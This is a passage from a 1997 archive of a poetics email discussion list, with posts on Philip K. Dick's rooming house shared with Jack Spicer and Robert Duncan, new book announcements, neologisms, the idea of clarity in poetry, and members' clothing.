>literature from Columbia and is well known for her translations and
>critical work on post-modern French feminisms, particularly Irigaray,
>Cixous, Kristeva. A native of Australia, she now splits her time between
>Santa Cruz and Sydney.
>
>New College Theater
>777 Valencia Street, SF
>$5

>
>

↑ Index

258. **dbkk**
Dick and Spicer
Sun 12 Jan 1997

This is Kevin Killian, returning to list after long Christmas slumber.

David Zauhar wrote, "Yesterday I was talking to a friend who's a science fiction nut, and he asked me if I had ever heard of poets named Robert Duncan and John Spicer. I said, sure, only it's jack spicer, why? and he said that he recently read in an old PKD fanzine that Dick once shared an apartment with two poets named Duncan and Spicer . . . Is this true? Is this common knowledge?
This is interesting to me because Spicer and Dick have both asserted a notion of writing as something dictated from the outside: Spicer's poet-as-radio is analogous to Dick's idea of getting his words from outer space."

Dear David, as Maria Damon has told you, this is basically a true tale. Your friend of speaking of the rooming house at 2018 McKinley at Berkeley where Philip K. Dick lived right after graduating from high school. This was in the autumn of 1947. You can find most of the details in various biographies of Dick. Spicer, Duncan, and Dick all lived there at the same time, though in different apartments. For some reason there is no plaque on the building.

I've been writing the life of Jack Spicer for many years & the mystery continues, exactly the mystery to which you allude, how is it that Spicer and Dick in later life came to such similar conclusions about the source of writing! Apparently, when asked to verify that he had known Philip Dick, Robert Duncan denied ever knowing him to Dick biographers. After he was "famous," in the early 60s, Dick wrote a kind of cute letter to Duncan asking if he remembered him, and Duncan wrote back and said, No,which hurt Dick's feelings. Privately, however, Duncan told several people he knew Dick extremely well. So that's another mystery.

Dick was the high school pal of Jerry Ackerman, who became Duncan's boyfriend and was the inspiration for RD's "Venice Poem." At the time of his death, PKD was starting work on a new novel, "The Owl at Midnight," which was to be an semi-autobiographical account of his time at 2018 McKinley and his encounters with Duncan and Spicer and the other roomers at the place. Philip Lamantia lived there too, as did George Haimsohn--who later achieved a fame of his own on Broadway no less, as the author of the camp parody "Dames at Sea." Haimsohn wrote, under a pseudonym, his own account of the period, "The Battle between the Poets and the Painters," which was published in a notorious gay pulp porn paperback called "Carnal Matters." (Robert Bertholf has

acquired a copy of this volume, which is interleaved with photos of young naked boys having sex with each other, for the Duncan archive at the Poetry/Rare Books Collection at U C Buffalo.)

Jack Spicer, who read avidly in science fiction, was familiar with Dick's subsequent work. One of Dick's novels in particular is actually quite startling to those who know Spicer's writing, for it begins at the hot dog stand at San Francisco's Aquatic Park, as do "After Lorca," "Admonitions," and "Lament for the Makers" (all books by Spicer). The name of Dick's book is escaping me now.... is it something like "Counter Clockwise World?" Please, Dick aficionados, help me out here.

I've gone on long enough but you get the general idea.

--Kevin Killian

↑ Index

259. **steph4848**

Armey, Newt & the Gaitlin Bros

Sun 12 Jan 1997

"And the talk, ((phone conversation secretly picked up by a cellular phone conversation scanner between Gingrich, Tom De Lay, Dick Armey, & New't Lawyer in which they premeditated and orchestrated the attack on the yet unreleased findings of the House Ethics Committe) one of many that day, ended on a light note. After the basic outlines of the statement the leaders would issue had been agreed on, Rep. Dick Armey of Texas, the House majority leader, had another suggestion for how Gingrich could handle the menacing accusation that he had deliberately lied to the committee: 'I am not sure you are ready for this, but you could quote Larry Gatlin and the Gatlin Brothers.'

Gingrich asked, "Which one is that?"

Armey warbled: 'I did not mean to deceive you. I never intended to push or shove. I just wish you was someone that I love.'" (New York Times, Friday June 10).

Are there a few, somewhat loaded double-entendres in Dick Armey's rhyme-capper here? If she (the Ethics Committee) is not working in your favor, it's alright to abuse "her" and shove "her" down or out the door? Interesting if its a nutshell view of this group's (basically the Republican leadership of the current Congress's) collective view not only of the Ethics Committee, but the Government in general. Curious that the Government is identified as a woman - is that the convention? If "she" is not serving your desires, shut her down. Curious that Armey feels comfortable in basking the save-Newt plot in honey-drip country mock sorrow. Nothing more securing than a couplet under pressure. I keep

thinking the revelation of this tape provides at least a liberal glee that might have been provided with the missing 22 minutes on Nixon's Watergate tape.

Thank goodness for Kenward Elmslie at the Small Press Traffic this past Friday evening. A sans pareil performance - Terrific poems, songs (not without a few couplets) & such a generous soul.

In less than cold and cloud-sun-breaking-through San Francisco.

Cheers,
Stephen Vincent

↑ Index

260. Herb Levy
Re: Recent Publications, Hebronics, & Neologisms
Sun 12 Jan 1997

Maria & other list members involved in the various threads refered to in the subject line may be interested in a recent recording by Zeena Parkins that is based, in part, on texts in Rotwelsch, a Yiddish-based argot used by Jewish gangsters Germany from the 14th century into at least the late 19th century.

The disc is called "Mouth=Maul=Betrayer" & it's in the often oddly curated Radical Jewish Culture series on the Tzadik label. The two compositions on the disc are Maul, where most of the Rotwelsch is, & Blue Mirror, which deals with Jewish gangsters in the US in the first half of the 20th century. These aren't narrative music theater pieces, so your sense of their use-value may vary.

Gray boatneck sweater with turquoise lining, black cotton pants, moccasin-toe ankle boots, mismatched socks.

Bests

Herb

Herb Levy
[redacted]

↑ Index

261. Aldon L. Nielsen
Re: Recent Publications, Hebronics, & Neologisms
Sun 12 Jan 1997

Or, maybe I should have titled it _Ebonics: Word Up_!

The printers didn't get the book to the Cambridge booth at MLA on time -- but now available from Cambridge University Press is

Black Chant: Languages of African-American Postmodernism by Aldon Lynn Nielsen

paperback is $16.95

there's also a $54.95 cloth edition for the undownsized remnant

book is guaranteed to introduce you to at least one interesting poet you've never heard of before -- Cover is actually suitable for framing -- wish I could offer an accompanying CD ROM, but, to quote Melville once more, dollars damn me --

love to all,,

↑ Index

262. **Miekal And**
Re: The Politics of My Heart
Sun 12 Jan 1997

William Slaughter wrote:
>
> Charles Bernstein has encouraged us all, once again, to announce our own
> current publication events. Risking immodesty, then, in such a goodly
> company, let me tell you all that I have a new book, just out,

what's wrong with immodesty, I thought Whitman put these worries to sleep 150 years ago!

deep poetics from the Wisconsin Conservatory of Noise

↑ Index

263. **David Bromige**
the wall at the end of the universe
Sun 12 Jan 1997

Mark--thanks for that final sentence from Carlos' story. It says volumes. db

↑ Index

264. **Dave Zauhar**
Re: the secret life of books
Sun 12 Jan 1997

> *Thank you David and Rachel for bringing this up just as I'm repairing my bookshelves. No matter what interloper may show up elsewhere (say Valery Oisteanu between Doug Oliver and Frank O'Hara) I can rest confident that Rimbaud Rilke and Ritsos will be carousing until the house falls down*

good fences make good neighbors
if the man next door is robert
frost. hell, my books by charles
henri ford and brewster ghiselin
want to move away, far away, to
different bookcases, but they can't:
william everson and allen ginsberg
invoke the gods and local customs
to keep the alphabet intact, so i
put blocks of wood around `the
complete poems of robert frost'
just to keep the peace. `good
fences' and all that, you know

dave zauhar

↑ Index

265. **kaona**
Re: no long johns down under
Sun 12 Jan 1997

---

lavalava--keeps one hangin'...with discretion, of course.

↑ Index

266. **Mark Weiss**
Re: Recent Publications, Hebronics, & Neologisms
Sun 12 Jan 1997

I need a break from typesetting and design (I'm preparing Rochelle Owens' new and selected--an astonishing book) so let me tout a book that Aldon Nielsen may not know(?) by a wonderful Trinidadi/Brooklyn poet:

> Mervyn Taylor, _An Island of His Own_

This is his first book, and it's done well, but the reviews (all of which were such as to warm a publisher's heart) were, except for the raves in PW, Booklist and LJ, in what are for most of us out-of-the-way places like the Amsterdam News and Caribbean Writer. He promises me another manuscript, but in the way of poets I think he's having a hard time signing off on it.

The book is available from Junction Press (that's me, hence the email address). I still have maybe 50 copies of the first printing at $9.00. SPD may also have a couple left. There will be a new printing probably later this year, but paper prices having gone up considerably since the 1st was published the price will rise accordingly. email me for details (I could send a sample poem or two).

Incidentally, if you think it's hard getting the work around in the US try distributing in the Caribbean. After sending 20 copies to the main bookstore and distributor in Trinidad (they never bothered to pick the first one up at customs; it was returned 1 1/2 yrs later in parlous condition. The second batch was hand delivered) copies were put in the window. The lot was gone in seconds. There were no new orders, and Junction wasn't paid for a full year (after many calls and faxes). All this despite the fact that the newspaper that owns the bookstore had given the book a full page review. Random House can afford that kind of tsores (you see, I do speak hebronics), but us little fishies go broke that way.

Hugs and kisses,

Mark

(lots of little fishies swimming up my street right now, and I'm wearing a plaid flannel shirt, my well-broke-in 501s, a navajo belt mid a bissl turquoise, and grey and white socks. Oh, yes, and I forgot the Guatemalan hair tie for keeping my tresses out of my eyes. It's in the 50s outside, and we're all huddled around the space heaters.)

At 01:26 PM 1/12/97 -0800, you wrote:
>Or, maybe I should have titled it _Ebonics: Word Up_!
>
>The printers didn't get the book to the Cambridge booth at MLA on time --
>but now available from Cambridge University Press is
>
>_Black Chant: Languages of African-American Postmodernism_
>by Aldon Lynn Nielsen
>
>paperback is $16.95
>
>there's also a $54.95 cloth edition for the undownsized remnant
>
>book is guaranteed to introduce you to at least one interesting poet
>you've never heard of before -- Cover is actually suitable for framing
>-- wish I could offer an accompanying CD ROM, but, to quote Melville once
>more, dollars damn me --
>
>love to all,,
>
>

↑ Index

267. Miekal And
Re: clothes
Sun 12 Jan 1997

wystan wrote:
>
> oh, maria, don't you see? He did it for the listserv.
> I have to say I'm moved. How like Mike to give the thread a touch of
> class!
>
> Wystan

you know, this is why poetry is great, because on a poetics listserv there is no such thing as off topic

OR

is

THERE?

↑ Index

268. Mark Weiss
Transmission of the poetry bug
Sun 12 Jan 1997

Paul Blackburn died when his son Carlos was two. I moved in with Joan and Carlos when he was six, and I've been Daddy ever since. Joan had pretty much left the poetry world, altho she still saw Harry Lewis and the Mulch crew (they put out _Halfway Down the Coast_), Brad Stark and Paul Pines. It happened that a lot of my pals were Paul's, as well, among them Armand Schwerner, Jerry Rothenberg, Toby Olson, Rochelle Owens, Gerge Economou, more distantly Clayton Eshelman, and probably half a dozen others who are out there lurking on the list (sorry), all of whom were reintroduced to the menage. So when I mentioned to Carlos that I hadn't met a real poet until I was maybe 18 he dismissed the statement as another tall tale. Weren't all daddies surrounded by poets? During our bonding period Carlos and I would take walks together in Park Slope, where we lived. I was, and am, in the habit of picking up odd pieces of junk on the street, evaluating them, and sticking the keepers in my pocket for later display. I particularly like rust and gunk--a fine patina, as it were. Carlos would look up at me with an expression that seemed to say, "This guy is really a freak, I wonder if he's dangerous. Mom's taste in men, after all...," and I would explain to him what I thought was wonderful about the particular rusty bolt thay had lost its cap or the small hieratic flange from an obscure car part. Pretty soon he'd be scouring the street, picking up objects for me to evaluate,

and I would give a detailed critique of each bit of broken glass or twisted wire. Then one day he came home dragging behind him the deliciously ruinous and filthy exhaust system of a car--I mean eight feet of it. Joan froze with horror, but I was bursting with pride, and it pained me deeply that, in order to preserve the domestic tranquility, I had to tell him that while it was a great, indeed monumental, find, it would be best if he restricted himself to smaller items. That was the moment that I realized I had been teaching Carlos to violate the first rule of Mommydom: you don't pick things up off the street. I swear I wasn't trying to be subversive. That was the beginning: for the rest of his childhood I couldn't build shelves or cabinets fast enough to contain the collection that gradually turned his bedroom into not so much an environment as an enormous three dimensional collage. We would do the same routine at museums (of course we didn't get to take the stuff home--they tend to frown on that)--we'd tell each other what we saw in each painting. I remember the turning point after which Carlos lost the fidgets in such places--it was the Munk show at MOMA when Carlos was maybe 7. His eye, I'd have to say, is much better than mine. I had, unconsciously, been training him not only in "art appreciation," but in the appreciation of detail and in the improvisatory construction of realities out of referents from different, often warring, systems. True bricolage, very close to the term's humble origins. This first manifested itself in language when he was 8 years old. He had been asked at school to write a story about space travel. Carlos wrote an elaborate story, somewhat reminiscent of Howard Finster, about a trip to the end of the universe. It's final sentence was "And at the end of the universe there is a wall, and on the other side ladies are taking showers." The ultimate mystery for a little boy. Gee, I wish I'd written that. His teacher, very PC, made him change "ladies" to "people," but we changed it right back. Carlos is 28 and still writes poetry that often astonishes me. And he shows it to me, which is more than I could do with my father. Nature or nurture? Who knows?

Mark

↑ Index

269. Pam Brown

News !

Sun 12 Jan 1997

Charles Bernstein invited : "However, I have noticed all together TOO FEW listings of recent publications by list participants. In fact I have been getting books and magazines published by people on this list without seeing any announcements of them on the list. So perhaps this will prompt more such postings: editors, publishers: please send listings of recent publications including ordering information. Individuals: please send information on any new publications."

Thanks & here's some NEWS :

OTIS RUSH -
new double issue #12/13 1996 -296 pages
($25 Australian - that's cheaper in USD !! about 72cents Austn to $1 US)

includes, from Australia, Canada, New Zealand and USA - Paul Violi, Gregory O'Brien, Pam Brown, Tony Towle, Basil King, Sal Brereton, Cath Kenneally, Ken Bolton & John Jenkins, Janet Charman, Javant Biarujia, John Forbes, Cassie Lewis, Emma Lew, Alan Wearne, Coral Hull, Laurie Duggan and more!

OTIS RUSH - Just what makes this magazine so with-it? - subscribe to find out !

Previous issues have included Jyanni Steffensen, Shiraishi Kazuko, Alain Bosquet, Dipti Saravanamuttu, Adam Aitken, Barbara Hanrahan, Michel Butor, Kris Hemensley, Anna Couani, George Alexander, Kenneth Koch, Gig Ryan, Pam Brown, Ron Padgett, Linda Marie Walker, Laurie Duggan, S.K.Kelen, Harry Mathews, John Kinsella, Bill Zavatsky, Hugh Tolhurst, Luke Davies, Bernard Cohen, John Tranter, Jenny Bornholdt, Sergio Selli, Michele Leggott, Soh Sakon, Jenny Watson, Ardegno Soffici, and many others...plus visual art reviews & graphics...

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PO Box 21
NORTH ADELAIDE
SA 5006 AUSTRALIA

↑ Index

270. Mustafa Ziyalan
*** *Automic Piles! by Murat Nemet-Nejat* ***
Sun 12 Jan 1997

AUTOMIC PILES

by Murat Nemet-Nejat

is now accessible at

http://maxwell.njit.edu/merhaba/marmara/mr100302.htm

Contents:

*FIRST DAY: Historical Perspectives / **SECOND DAY: Early Days / ***THIRD DAY: The Mendes Heresy / ****FOURTH DAY: Fine Print of GAG and Our Present Political System / Class Exercise: Life Expectancy of a Given Year (LEY), How to Calculate It / *****APPENDIX: Other Fragments from Crickshaw Excavations / Giovanelli's Minus Plus Factor / Anaxomic Information-Analysis and its Application to the Problem of Fear Immunization / The Problem of Back Seat Intercourse: Interoffice Memorandum / The Secret Cult of Back Seat Fullers (BAFs) / Mercy Fixers: from the Autostrada Cycles / The Temple of the Eternal Shredder / The Parable of the Copying Machine and the Pneumatic Hammer / The Location of the Department of Core Placers, DCP / Anxiety Charts: Procedure to Collect Data / Inter-office Memorandum

You can e-mail your suggestions and submissions to
[redacted]

and forward this message
to persons who might be interested!

↑ Index

271. **Pam Brown**
Re: News !
Sun 12 Jan 1997

At 07:43 PM 12/1/97 +0100, you wrote:
>> OTIS RUSH -
>
>aw shucks! no chris mann?
>
>mA
>
>
Not yet ! But I didn't list EVERY contributor either...
Cheers
Pam

↑ Index

272. **Charles Alexander**
Re: to whoever who recommended power
Sun 12 Jan 1997

I read the book right after it came out, and was also enthusiastic about it, but I remember being rather disappointed that it had, after all, to be pulled into a rather tidy ending. I think I didn't want it to end at all. But now, several years later, I can't remember what that ending was.

charles

At 05:58 AM 1/13/97 +1200, you wrote:
>DS wrote:
>>
>> Thankyou,
>>
>> i am greatly enjoying 'The Goldbug Variations'
>
>Just seconding Dan's thanks. It's a wonderful hybrid of _Godel, Escher,
>Bach_ and _The Name of the Rose_ - I was lucky to pick it up for $5 at a
>discount shop on Ponsonby Road, since I haven't seen it in the major
>bookshops.
>
>
>Tom.
>
>

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273. **Pam Brown**

Re: neologism redux De Basis

Sun 12 Jan 1997

And I'd like to add two examples of Australian journalese -

downsize
substantive (meaning 'substantial')

P.B.

At 01:34 PM 12/1/97 -0500, you wrote:
>There is also a list of words I could live without ever hearing again.
>There is also a language perverted by the media.
>
>De Basis List
>
>liberal (thanks to George Bowering a few months ago)
>dysfunctional
>new age
>cyber
>pewter mugs
>age, ism or post-age
>PC, pro, aunti
>Power Jams

>based on the real-life story
>
>

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274. William Slaughter
The Politics of My Heart
Sun 12 Jan 1997

Charles Bernstein has encouraged us all, once again, to announce our own current publication events. Risking immodesty, then, in such a goodly company, let me tell you all that I have a new book, just out, of poems (and essays) having to do with China. It's called THE POLITICS OF MY HEART and it's published by Pleasure Boat Studio, a new independent press on the west coast.

You can order it either from PBS or from me for $12.95 (free shipping) in a trade paper edition, ISBN 0-9651413-0-6, 96 pages.

Pleasure Boat Studio
802 East Sixth
Port Angeles, WA 98362
Tel-Fax [redacted]
E-mail: [redacted]

William Slaughter
2004 South Ocean Drive
Jacksonville Beach, FL 32250
Tel [redacted]
Fax [redacted]
E-mail: [redacted]

Pleasure Boat Studio has a home port on the World Wide Web (http://www.pbstudio.com) where you can read excerpts from THE POLITICS OF MY HEART.

What follows is the copy from the back of the book (to help you determine whether or not you might be interested in it).

William Slaughter is a Professor of English at the University of North Florida. He has been a Senior Fulbright Lecturer in China (1987-88) and Egypt (1980-81). He is the author of Untold Stories (1990), a book of poems, and the editor of Mudlark, an electronic journal of poetry and poetics. His poems and essays have been published in magazines ranging from Poetry to Exquisite Corpse, different worlds.

"The Politics of My Heart stands apart from all other China books that have mushroomed in the West before and after the Tiananmen tragedy. Neither academic nor journalistic, it is the pilgrim's progress of a poet-scholar to the Gate of Heavenly Peace. ÊÊÊ "When William Slaughter arrives in Beijing with his 'peculiarly American innocence,' he celebrates the New China being built out of 'old lumber': 'New China, new music. / I'll grow new ears, / learn to hear it.' With 'a few small careful strokes,' he goes on to capture what he hears, not so much new music as new anguish set off by old voices of wisdom. He becomes one with Confucius and Laozi, he loves Xue Tao for her voice, he shares freedom of expresion with Shen Congwen and Bai Hua within the Chinese Wall. He falls hopelessly in love. ÊÊÊ "But, when machine guns and tanks turn the Gate of Heavenly Peace overnight into the killing field, the pilgrim can only 'love it bitterly, ironically.' China has gotten under his skin, and China hurts. How can he not give voice to 'the lips that burn but do not speak'? The Politics of My Heart will get under your skin too. William Slaughter's heart is heavy, but his vision is undimmed: 'As the people in 'China get bigger, the leaders get smaller. Until no stone is left, until they're not there. At all.' ÊÊÊ "Most of all, the simplicity and lucidity of his verse, reminiscent of the great classical poet Wang Wei, will go straight to your heart and haunt your memory."

Wu Ningkun
Author of A SINGLE TEAR
New York: Atlantic Monthly Press, 1993

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275. **wystan**
Re: clothes
Mon 13 Jan 1997

---

oh, maria, don't you see? He did it for the listserv.
I have to say I'm moved. How like Mike to give the thread a touch of class!

Wystan

↑ Index

276. **Tom Beard**
Re: to whoever who recommended power
Mon 13 Jan 1997

Charles Alexander wrote:
>
> I read the book right after it came out, and was also enthusiastic about it,

> but I remember being rather disappointed that it had, after all, to be
> pulled into a rather tidy ending. I think I didn't want it to end at all.
> But now, several years later, I can't remember what that ending was.

Good, don't tell us :-)

At the stage I've reached in the book, a tidy ending would seem difficult, so I'll be intrigued to see how he does it (although, like you, I'm usually averse to tidiness). I was beginning to feel that Ressler might do some sort of Slothropian dissolve.

Does anyone else find the two main sexual relationships compellingly erotic, with their stuttering and thwarted desires? Maybe it's just me, but I was surprised by their effect in what I was beginning to see as a mainly cerebral book.

The writing sometimes irritates me, as it often seems to repeat the same idea for several paragraphs, but I'm frequently struck by some pithy or extraordinary phrase. I should write down some of the more aphoristic sentences - they're rich and strange, and they do interesting things in different contexts.

I'll probably have to go back and re-read Godel Escher Bach once I've finished. Does anyone know whether Powers has mentioned Hofstadter (?spelling? it's 5.30am) as a source or inspiration?

Tom Beard.

(Wearing blue linen pants and a sandy linen waistcoat (both Country Road) with a brown Hugo Boss belt and a locally-made white linen shirt, the paua-shell buttons of which are a (possibly reluctant) signifier of my residence in the Pacific. Everything is rather more rumpled than it should be. My Bally shoes are sitting beside my desk, since my feet were killing me, as they usually do at the end of a night shift. The sky over the Hauraki Gulf is starting to shade from navy through green to gold, and the outlines of the C-130s on the runway are now visible. I'm hoping it won't be too hot today, so that I can get a decent sleep, and I'm trying to decide whether the afternoon sea-breeze convergence will produce any significant showers.)

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277. Mark Wallace
clarity, clarity, who's got clarity
Mon 13 Jan 1997

Hey Graham Foust:

Welcome to the poetics list! Maybe you've been on-line for awhile and I haven't noticed, but in any case, glad to see you here. Excellent reading on Saturday night at Ruthless Grip Art Project here in D.C.--I'd like, at some point, to

hear more about your "extended sequence" poem of six-line pieces that "didn't start out that way."

I'm glad you noticed that I used the word "clearly excellent" so cavalierly when describing Joan Retallack's poetry. After all, as you point out, by what given standard except that of an "avant garde" minority could Joan Retallack's poetry be called "clear"? Isn't it, therefore, a bit of a rhetorical stretch to suggest that Retallack's poetry offers anything that might be defined as "clarity"? Would it not be better to suggest, per David Bromige's recent comment for instance, that it might be better to describe Retallack's work as "opaque as a person"?

I agree with all of that above, which is exactly why, I think, I'm going to continue to use the word "clarity" when describing Retallack's work. In fact I even find what David calls "opaque" to be perfectly lucid and clear at times--perversely, perhaps, "opaqueness" seems pretty damn clear to me, as clear, indeed, as a person. I suppose one might say I'm being disingenuous, or relying on a "educated" point of view regarding poetry, but nonetheless I feel I have the right to insist that what constitutues "clarity" to me may not constitute "clarity" to you or to a classroom of students--which is your point exactly, I think, just turned the other way slightly, or maybe not... turned a way, that is, that purposely confuses or refuses the notion of "clarity" that, for instance, one's students carry around like the Washington Post. But I'm "perverse" this way when I'm teaching sometimes too--I repeatedly insisted to a Modern American Poetry class I was teaching last fall that a lot of lines in Robert Frost "just don't make any sense" (exactly like your students use of the phrase "all get out," a phrase I've ALWAYS loved, and use like all get out) whereas what could possibly be "unclear" about Gertrude Stein using words like "no" and "a" and "since." Of course, sometimes my students just thought I was a pleasant, if somewhat loony eccentric, but others started saying that Gertrude Stein seemed to make sense to them too. One student actually said "She's just so clear, it's all right there, you don't have to figure out anything." I thought so too.

I guess my point, to the extent I want one, is that while one method that makes inroads into problematic notions of "clarity" accepts student notions of clarity and working from there, I've often found it just as effective to appear as bemused by them as they are sometimes by me. I wanted them to explain to me why Robert Frost was so clear if I couldn't understand it, and lo and behold, they couldn't seem to agree whether Frost was for or against building fences in that famous poem whose name I forget. My impression is that he's overtly against them and secretly for them, but that's another day...

In any case, it sounds like what you did with that student's expression "all get out" was the kind of thing I like to do with all sorts of phrases that seem "clear."

I mean, if you want opaqueness, obscurantism, and utter confusion, the Washington Post can be had for only a quarter. It's a shame that clarity continues to be much more expensive.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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278. John Cayley
Hypertext/Cybertext/Poetext
Mon 13 Jan 1997

*** Please excuse the cross-postings ***

Those with 'Frames-capable' browsers and an interest in the conjunctions indicated by this subject line may like to visit the Web-based hypertextual version of an essay prepared for&after the 'Assembling Alternatives' conference/festival in New Hampshire last autumn. To go direct to the essay:

http://www.demon.co.uk/eastfield/in/hcp000.html

and to visit 'in context':

http://www.demon.co.uk/eastfield/in/intheory.html

All comments/criticisms on/of this essay, very gratefully received.

Best,

- - - - - >
John Cayley Wellsweep Press [in Chinese HZ:]
^ innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
http://www.demon.co.uk/eastfield/
< - - - - -

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279. **ejoyce**
Chris Stroffolino
Mon 13 Jan 1997

Chris, would you mind backchanneling me? Yours, Lisa ([redacted])

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280. **maria damon**
Re: Recent Publications, Hebronics, & Neologisms
Mon 13 Jan 1997

---

thanks herb, this looks deeply hot. will get my little fisties on it posthaste. --md

In message <v02140b01aefdf8892702@[206.80.181.170]> UB Poetics discussion group
writes:
> Maria & other list members involved in the various threads refered to in
> the subject line may be interested in a recent recording by Zeena Parkins
> that is based, in part, on texts in Rotwelsch, a Yiddish-based argot used
> by Jewish gangsters Germany from the 14th century into at least the late
> 19th century.
>
> The disc is called "Mouth=Maul=Betrayer" & it's in the often oddly curated
> Radical Jewish Culture series on the Tzadik label. The two compositions on
> the disc are Maul, where most of the Rotwelsch is, & Blue Mirror, which
> deals with Jewish gangsters in the US in the first half of the 20th
> century. These aren't narrative music theater pieces, so your sense of
> their use-value may vary.
>
> Gray boatneck sweater with turquoise lining, black cotton pants,
> moccasin-toe ankle boots, mismatched socks.
>
> Bests
>
> Herb
>
>
> Herb Levy
> [redacted]
>

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281. Charles Bernstein
Ripple Effects on line
Mon 13 Jan 1997

Ripple Effects: Painting and Language, ed. Susan Bee and Mira Schor, about which I previsously posted information, is now completely on line. Click on New Observations **#113,** Winter 1996

http://plexus.org/newobs

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282. Mark Wallace
AWP Chronicle
Mon 13 Jan 1997

---

from Sharon Dolin's page one article in the December AWP, "Arguing Poetry: How Contemporary Poets Write About Poetry":

"After the more polarized stridencies of the eighties had fizzled, a space might have been cleared for a more open appraisal of all of poetry's possibilities. What astounds me as a third-generation free verse poet and critic are the number of prose works by poets that are attempts to celebrate, defend, or delegitimize free verse. Essays swing between formalist attacks on free verse's authenticity as poetry, coupled with a blatant desire to resurrect metrical verse as the one true poetry, and the often fuzzy, impressionistic elaborations of a free-verse aesthetic. And now, Language poets have entered the fray to launch their attack on free verse, with formal verse being too far beyond the pale for them even to mention. The question that keeps arising for me as I read the formalist attacks as well as the free verse descriptions: Isn't it time for poets to cease labeling free verse as merely poetry with a conspicuous absence of meter or metrical consistency? No one would think of defining metrical or rhythmical verse as "unfree verse," yet there is a growing tendency in a recent spate of books by poet-critics to reframe the formal issues surrounding free verse poetry in terms of metered verse. On the other hand, isn't it also time for there to be a clearly elaborated poetics of free verse?"

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283. Aldon L. Nielsen
Re: the clarity of excellence
Mon 13 Jan 1997

---

recent exchange around Mark's comment on Joan's verse interesting from an historic point of view as well -- MUCH discussion of clarity among Black Mountain poets and fellow fellahin some two-three decades ago -- clarity became the

calling card of Creeley and others for a time -- but this was not the clarity of transparency -- rather, precisely, clarity of language in thinking with the objects of this world (the Zuk/Oppen influence most _clear_ here) --

BUT, Mark's original post didn't claim that Joan's poetry was clear (which I think it is), but that it is clearly excellent, an entirely different sort of claim -- but that might reopen a very old argument on this list, so I'll leave it there --

↑ Index

284. **amato**
Re: to whoever who recommended power
Mon 13 Jan 1997

---

tom, powers has read godel/escher/bach, was a physics major for a spell, has a master's in english (as i recall)... worked as a programmer for a few years in boston too... in many ways, he's certainly what you'd call an autodidact...

joe, currently in thermal top, long grey jockey underwear, and another pair of those grey socks

↑ Index

285. **Miekal And**
speech odometer
Mon 13 Jan 1997

Ken Edwards wrote:

> *Those of you who were at the University of New Hampshire shindig last year will remember Miles Champion, the man who reads five times as fast as Tom Raworth.*

even faster than mr bebop, Clark Coolidge?

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286. **aerialedge**
All those new books @ Bridge Street
Mon 13 Jan 1997

Lot of interesting new stuff. "Stuff that stays stuff." Ordering information at the end of the post. Thank you, Poetics, for your support.

1. _Walter Benjamin: A Biography_ by Momme Brodersen, Verso, $35. The jacket copy says: "Widely acclaimed in Germany, Momme Brodersen's _Walter Benjamin_ is the most comprehensive and illuminating biography of Benjamin ever published." To the best of my knowledge, this is an accurate statement.

2. _The Cold War & the University: Toward an Intellectual History of the Post-war Years_ by Noam Chomsky, Ira Katznelson, R.C. Lewontin, David Montgomery, Laura Nader, Richard Ohmann, Ray Siever, Immanuel Wallerstein, & Howard Zinn, New Press, $25. "Where this will lead is hard to say."

3. _The Hunter Gracchus and Other Papers on Literature and Art_ by Guy Davenport, Counterpoint, $25. "Facts are promiscuous. . ."

4. _Duchamp: A Biography_ by Calvin Tomkins, Henry Holt, $35. "All this makes Breton sound a bit silly. . ."

5. _Robert Duncan in San Francisco_ by Michael Rumaker, Grey Fox, $9.95. "All the fears of narcs and Vice Squad undercover agents, of Jack Spicer, of my ambivalences toward Duncan, of the pressures of a new job and a new life in a new city, all the uncertainties of what it was I needed to be about, especially in my writing, momentarily vanished, as I gazed back at Ebbe, listening to his sweet guitar and the even sweeter sound of his voice as he sang."

6. _Drafts 15-XXX, The Fold_ by Rachel Blau DuPlessis, Potes & Poets, $12. "An ear to the music, and a body for the energy of it, singing what cannot be unquestionable song."--Peter Quatermain. "Living within / a place where little noises / in wonder at their own skew / hang in the opening."

7. _The Music of Morton Feldman_ ed. Thomas Delio, Excelsior, $24.95. Lengthy essays on a variety of Feldman pieces including a contribution by Cage. Most noteworthy are three essays by Feldman: "Give My Regards to Eighth Street," "The Anxiety of Art," and "Some Elementary Questions."

8. _Wicker_ by Lyn Hejinian and Jack Collum, Rodent, $5. "kiss us-- / sudden valley capitals / having burned our shadows / in a fit of madness / burn these words" 5-line stanzas in which the last line is repeated as the second-line of the next stanza. On the left margin each stanza is accompanied by a quotation, such as: "But then everything cools out again. (Werner Heisenberg)"

9. _Jasper Johns: Writings, Sketchbook Notes, Interviews_, Museum of Modern Art, $24.95. "An invisible drawing / made in the air. / Make a drawing / behind your back. Make a stolen painting."

10. _3 of 10_ by Hank Lazer, Chax, $14. "This is the one story I can tell; and it is not one." Collects "H's Journal," "Negation," and "Displayspace," in that lovely Chax production.

11. _Absence Sensorium_ by Tom Mandel and Daniel Davidson, Potes & Poets, $14. "It's like this; if I'm to weep / I'll do it in a place you cannot visit." Davidson & Mandel's collaboration takes the form of the renaissance _silvas_, 7-line stanzas whose lines are 7 or 11 syllables.

12. _We Speak Silent_ by Hannah Weiner, Roof, $9.95. "oh very well dont hurt yourself with anymore / funny words" -- "ALL WORDS DICTATED SILENTLY." Titles include "Watten," "P Inman," "Page Paw / the polar bear" and "Bob Dylan."

13. _How I Read Gertrude Stein_ by Lew Welch, Grey Fox, $10.95. "His insights are fundamental to our recognition of Stein as the bedrock genius she always was for him." -- Robert Creeley. "The important thing, then, is the exciting thing. . ."

14. Back in Stock: _Onward: Contemporary Poetry & Poetics_ ed. Peter Baker, Lang, $29.95. Some of you had requested to be informed when it came back in. & sorry, it's STILL a textbook so no discount/free shipping on this title.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, card # & expiraton date, we will send a receipt with the books. We have to charge for shipping out of U.S.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

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287. **Dave Zauhar**
Re: AWP Chronicle
Mon 13 Jan 1997

Mark: 1) does the essay name any names, or is it just assumed that her AWP readers know the enemies of poetry already?

